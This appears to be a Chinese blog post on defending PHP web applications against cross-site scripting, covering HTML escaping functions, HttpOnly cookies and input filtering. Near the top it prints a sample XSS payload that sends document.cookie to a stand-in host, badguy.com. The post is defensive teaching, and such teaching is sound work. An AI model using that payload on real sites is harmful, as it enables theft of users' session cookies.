關於常見跨站***的防禦

XSS***:

跨站腳本***(Cross Site Scripting)。XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。比如這些代碼包括HTML代碼和客戶端腳本。

以下是一個惡意js腳本的範例:


<script>
window.open("http://badguy.com?cookie="+document.cookie)
</script>

下面簡單介紹一下Cross腳本的防禦方法:

大體的思路很簡單,一般XSS***都是程序沒有過濾掉用戶輸入中的惡意js腳本,以致惡意的js腳本被解釋執行。所以我們只需要將用戶輸入字符串進行檢測,去掉<script></script>標籤,或者轉義'<'字符。

PHP代碼:

if($_SERVER['REQUEST_URI']) {
    $temp = urldecode($_SERVER['REQUEST_URI']);
    if(strexists($temp, '<') || strexists($temp, '"')) {
        $_GET = shtmlspecialchars($_GET);//XSS
    }
}
                                                                                           
//取消HTML代碼
function shtmlspecialchars($string) {
    if(is_array($string)) {
        foreach($string as $key => $val) {
            $string[$key] = shtmlspecialchars($val);
        }
    } else {
        $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4})|[a-zA-Z][a-z0-9]{2,5});)/', '&\\1',
            str_replace(array('&', '"', '<', '>'), array('&amp;', '&quot;', '&lt;', '&gt;'), $string));
    }
    return $string;
}

當然也可以轉義:

1、htmlspecialchars() 轉義特別的字符爲HTML實體

  • '&' (ampersand) becomes '&amp;'

  • '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set.

  • ''' (single quote) becomes '&#039;' only when ENT_QUOTES is set.

  • '<' (less than) becomes '&lt;'

  • '>' (greater than) becomes '&gt;'

2、htmlspecialchars_decode()將實體轉成HTML代碼,函數1的反函數

3、 htmlentities()這個是全部轉換html實體,和htmlspecialchars()區別在於,這個函數是轉義全部的字符,而htmlspecialchars()僅僅轉義上面限定的5個特殊字符


除此之外,有些***腳本不一定位於<script></script>中,因此

  1. 將重要的cookie標記爲http only,   這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了。

  2. 只允許用戶輸入我們期望的數據,採用正則表達式限制用戶輸入的格式。

  3. 對數據進行Html Encode 處理。

  4. 過濾或移除特殊的Html標籤, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for

  5. 過濾JavaScript 事件的標籤。例如 " "onfocus" 等等。




發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章